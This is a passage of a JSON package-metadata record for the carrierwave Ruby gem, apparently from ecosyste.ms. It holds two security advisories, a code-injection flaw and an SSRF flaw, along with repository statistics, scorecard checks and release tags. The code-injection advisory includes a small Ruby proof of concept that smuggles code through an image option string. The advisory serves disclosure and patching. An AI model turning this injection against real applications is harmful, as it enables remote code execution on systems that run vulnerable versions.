3.0.5"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0","url":"https://github.com/advisories/GHSA-cf3w-g86h-35x4","title":"Code Injection vulnerability in CarrierWave::RMagick","description":"### Impact\n[CarrierWave::RMagick](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/processing/rmagick.rb) has a Code Injection vulnerability. Its `#manipulate!` method inappropriately evals the content of mutation option(`:read`/`:write`), allowing attackers to craft a string that can be executed as a Ruby code.\nIf an application developer supplies untrusted inputs to the option, it will lead to remote code execution(RCE).\n\n(But supplying untrusted input to the option itself is dangerous even in absence of this vulnerability, since is prone to DoS vulnerability - attackers can try to consume massive amounts of memory by resizing to a very large dimension)\n\n### Proof of Concept\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::RMagick\nend\n\nMyUploader.new.manipulate!({ read: { density: \"1 }; p 'Hacked'; {\" }}) # =\u003e shows \"Hacked\"\n```\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nStop supplying untrusted input to `#manipulate!`'s mutation option.\n\n### References\n[Code Injection Software Attack](https://owasp.org/www-community/attacks/Code_Injection)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-02-08T19:16:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-cf3w-g86h-35x4","https://github.com/carrierwaveuploader/carrierwave/commit/387116f5c72efa42bc3938d946b4c8d2f22181b7","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#132---2021-02-08","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#211---2021-02-08","https://rubygems.org/gems/carrierwave","https://nvd.nist.gov/vuln/detail/CVE-2021-21305","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2021-21305.yml","https://github.com/advisories/GHSA-cf3w-g86h-35x4"],"source_kind":"github","identifiers":["GHSA-cf3w-g86h-35x4","CVE-2021-21305"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2022-12-21T16:13:11.609Z","updated_at":"2026-06-04T03:11:02.148Z","epss_percentage":0.0282,"epss_percentile":0.85654,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1","url":"https://github.com/advisories/GHSA-fwcm-636p-68r5","title":"Server-side request forgery in CarrierWave","description":"### Impact\n[CarrierWave download feature](https://github.com/carrierwaveuploader/carrierwave#uploading-files-from-a-remote-location) has an SSRF vulnerability, allowing attacks to provide DNS entries or IP addresses that are intended for internal use and gather information about the Intranet infrastructure of the platform.\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nUsing proper network segmentation and applying the principle of least privilege to outbound connections from application servers can reduce the severity of SSRF vulnerabilities. Ideally the vulnerable gem should run on an isolated server without access to any internal network resources or cloud metadata access.\n\n### References\n[Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-02-08T19:16:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-fwcm-636p-68r5","https://github.com/carrierwaveuploader/carrierwave/commit/012702eb3ba1663452aa025831caa304d1a665c0","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#132---2021-02-08","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#211---2021-02-08","https://rubygems.org/gems/carrierwave/","https://nvd.nist.gov/vuln/detail/CVE-2021-21288","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2021-21288.yml","https://github.com/advisories/GHSA-fwcm-636p-68r5"],"source_kind":"github","identifiers":["GHSA-fwcm-636p-68r5","CVE-2021-21288"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2022-12-21T16:13:11.618Z","updated_at":"2026-06-04T03:11:02.148Z","epss_percentage":0.002,"epss_percentile":0.42274,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/carrierwave","docker_dependents_count":247,"docker_downloads_count":461281802,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-13T01:27:51.833Z","issues_count":182,"pull_requests_count":126,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5067374.0,"issues_closed_count":142,"pull_requests_closed_count":106,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.6428571428571428,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":24,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":2792700.0,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.75,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/carrierwave/codemeta","maintainers":[{"uuid":"296","login":"jnicklas","name":null,"email":null,"url":null,"packages_count":32,"html_url":"https://gem.coop/profiles/jnicklas","role":null,"created_at":"2025-10-07T14:05:56.459Z","updated_at":"2025-10-07T14:05:56.459Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/jnicklas/packages"},{"uuid":"60885","login":"thiagofm","name":null,"email":null,"url":null,"packages_count":3,"html_url":"https://gem.coop/profiles/thiagofm","role":null,"created_at":"2025-10-07T14:05:56.598Z","updated_at":"2025-10-07T14:05:56.598Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/thiagofm/packages"},{"uuid":"349","login":"trevorturk","name":null,"email":null,"url":null,"packages_count":8,"html_url":"https://gem.coop/profiles/trevorturk","role":null,"created_at":"2025-10-07T14:05:56.361Z","updated_at":"2025-10-07T14:05:56.361Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/trevorturk/packages"},{"uuid":"53064","login":"mshibuya","name":null,"email":null,"url":null,"packages_count":9,"html_url":"https://gem.coop/profiles/mshibuya","role":null,"created_at":"2025-10-07T14:05:56.658Z","updated_at":"2025-10-07T14:05:56.658Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/mshibuya/packages"},{"uuid":"43692","login":"bensie","name":null,"email":null,"url":null,"packages_count":15,"html_url":"https://gem.coop/profiles/bensie","role":null,"created_at":"2025-10-07T14:05:56.523Z","updated_at":"2025-10-07T14:05:56.523Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/bensie/packages"}],"registry":{"name":"gem.coop","url":"https://gem.coop","ecosystem":"rubygems","default":false,"packages_count":195630,"maintainers_count":68820,"namespaces_count":0,"keywords_count":19101,"github":"gem-coop","metadata":{"funded_packages_count":7730},"icon_url":"https://github.com/gem-coop.png","created_at":"2025-10-06T17:24:20.932Z","updated_at":"2026-08-17T05:01:36.400Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/namespaces"}},{"id":173344,"name":"carrierwave","ecosystem":"rubygems","description":"Upload files in your Ruby applications, map them to a range of ORMs, store them on different backends.","homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":[],"namespace":null,"versions_count":88,"first_release_published_at":"2009-07-25T18:29:20.000Z","latest_release_published_at":"2026-05-23T05:36:10.365Z","latest_release_number":"3.1.3","last_synced_at":"2026-08-17T06:25:47.100Z","created_at":"2022-04-05T18:58:39.474Z","updated_at":"2026-08-17T09:02:30.514Z","registry_url":"https://rubygems.org/gems/carrierwave","install_command":"gem install carrierwave -s https://rubygems.org","documentation_url":"http://www.rubydoc.info/gems/carrierwave/","metadata":{"funding":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%